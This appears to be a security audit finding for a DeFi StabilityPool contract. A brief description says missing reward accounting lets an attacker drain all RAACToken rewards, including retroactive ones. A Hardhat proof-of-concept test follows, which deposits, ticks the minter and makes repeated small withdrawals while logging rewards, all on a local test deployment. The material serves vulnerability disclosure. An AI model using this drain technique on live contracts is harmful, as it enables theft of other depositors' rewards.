RAACToken rewards are minted to StabilityPool and then distributed when users withdraw their deposits. Due to a lack of reward accounting mechanism, an attacker can drain the rewards in at least two ways:
The reward drain mechanism includes retroactive claims, i.e. reward funds that were minted before the attacker deposited tokens.
An attacker can drain all the RAACToken rewards from StabilityPool.
import { expect } from "chai";
import hre from "hardhat";
const { ethers } = hre;
describe("StabilityPool", function () {
let owner, user1, user2, user3, treasury;
let stabilityPool, lendingPool, raacMinter;
let crvusd, rToken, deToken, raacToken, raacNFT;
let raacHousePrices;
beforeEach(async function () {
[owner, user1, user2, user3, treasury] = await ethers.getSigners();
const CrvUSDToken = await ethers.getContractFactory("crvUSDToken");
crvusd = await CrvUSDToken.deploy(owner.address);
await crvusd.setMinter(owner.address);
const RAACToken = await ethers.getContractFactory("RAACToken");
raacToken = await RAACToken.deploy(owner.address, 100, 50);
const RAACHousePrices = await ethers.getContractFactory("RAACHousePrices");
raacHousePrices = await RAACHousePrices.deploy(owner.address);
await raacHousePrices.setOracle(owner.address);
const RAACNFT = await ethers.getContractFactory("RAACNFT");
raacNFT = await RAACNFT.deploy(crvusd.target, raacHousePrices.target, owner.address);
const RToken = await ethers.getContractFactory("RToken");
rToken = await RToken.deploy("RToken", "RToken", owner.address, crvusd.target);
const DebtToken = await ethers.getContractFactory("DebtToken");
const debtToken = await DebtToken.deploy("DebtToken", "DT", owner.address);
const DEToken = await ethers.getContractFactory("DEToken");
deToken = await DEToken.deploy("DEToken", "DEToken", owner.address, rToken.target);
const initialPrimeRate = ethers.parseUnits("0.1", 27);
const LendingPool = await ethers.getContractFactory("LendingPool");
lendingPool = await LendingPool.deploy(
crvusd.target,
rToken.target,
debtToken.target,
raacNFT.target,
raacHousePrices.target,
initialPrimeRate
);
const StabilityPool = await ethers.getContractFactory("StabilityPool");
stabilityPool = await StabilityPool.deploy(owner.address);
const RAACMinter = await ethers.getContractFactory("RAACMinter");
raacMinter = await RAACMinter.deploy(
raacToken.target,
stabilityPool.target,
lendingPool.target,
owner.address
);
await lendingPool.setStabilityPool(stabilityPool.target);
await rToken.setReservePool(lendingPool.target);
await debtToken.setReservePool(lendingPool.target);
await rToken.transferOwnership(lendingPool.target);
await debtToken.transferOwnership(lendingPool.target);
await deToken.setStabilityPool(stabilityPool.target);
await deToken.transferOwnership(stabilityPool.target);
await stabilityPool.initialize(
rToken.target,
deToken.target,
raacToken.target,
raacMinter.target,
crvusd.target,
lendingPool.target
);
await raacToken.setMinter(raacMinter.target);
await raacToken.manageWhitelist(stabilityPool.target, true);
const initialBalance = ethers.parseEther("1000");
await crvusd.mint(user1.address, initialBalance);
await crvusd.mint(user2.address, initialBalance);
await crvusd.mint(user3.address, initialBalance);
await crvusd.connect(user1).approve(lendingPool.target, initialBalance);
await crvusd.connect(user2).approve(lendingPool.target, initialBalance);
await crvusd.connect(user3).approve(lendingPool.target, initialBalance);
await lendingPool.connect(user1).deposit(initialBalance);
await lendingPool.connect(user2).deposit(initialBalance);
await lendingPool.connect(user3).deposit(initialBalance);
await rToken.connect(user1).approve(stabilityPool.target, initialBalance);
await rToken.connect(user2).approve(stabilityPool.target, initialBalance);
await rToken.connect(user3).approve(stabilityPool.target, initialBalance);
});
describe("Core Functionality", function () {
describe("RAAC Rewards", function () {
beforeEach(async function () {
const depositAmount1 = ethers.parseEther("100");
const depositAmount2 = ethers.parseEther("100");
await crvusd.mint(user1.address, depositAmount1);
await crvusd.connect(user1).approve(lendingPool.target, depositAmount1);
await lendingPool.connect(user1).deposit(depositAmount1);
await rToken.connect(user1).approve(stabilityPool.target, depositAmount1);
await crvusd.mint(user2.address, depositAmount2);
await crvusd.connect(user2).approve(lendingPool.target, depositAmount2);
await lendingPool.connect(user2).deposit(depositAmount2);
await rToken.connect(user2).approve(stabilityPool.target, depositAmount2);
});
it("should distribute rewards proportionally", async function () {
await stabilityPool.connect(user1).deposit(ethers.parseEther("100"));
await stabilityPool.connect(user2).deposit(ethers.parseEther("100"));
await ethers.provider.send("evm_mine");
await raacMinter.tick();
const user2Rewards1 = await stabilityPool.calculateRaacRewards(user2.address);
console.log("User 2 rewards:", user2Rewards1);
const user1Rewards1 = await stabilityPool.calculateRaacRewards(user1.address);
console.log("User 1 rewards:", user1Rewards1);
await stabilityPool.connect(user1).withdraw(ethers.parseEther("1"));
const user1Rewards2 = await stabilityPool.calculateRaacRewards(user1.address);
console.log("User 1 rewards:", user1Rewards2);
await stabilityPool.connect(user1).withdraw(ethers.parseEther("1"));
const user2Rewards2 = await stabilityPool.calculateRaacRewards(user2.address);
console.log("User 2 rewards:", user2Rewards2);
});
});
});
});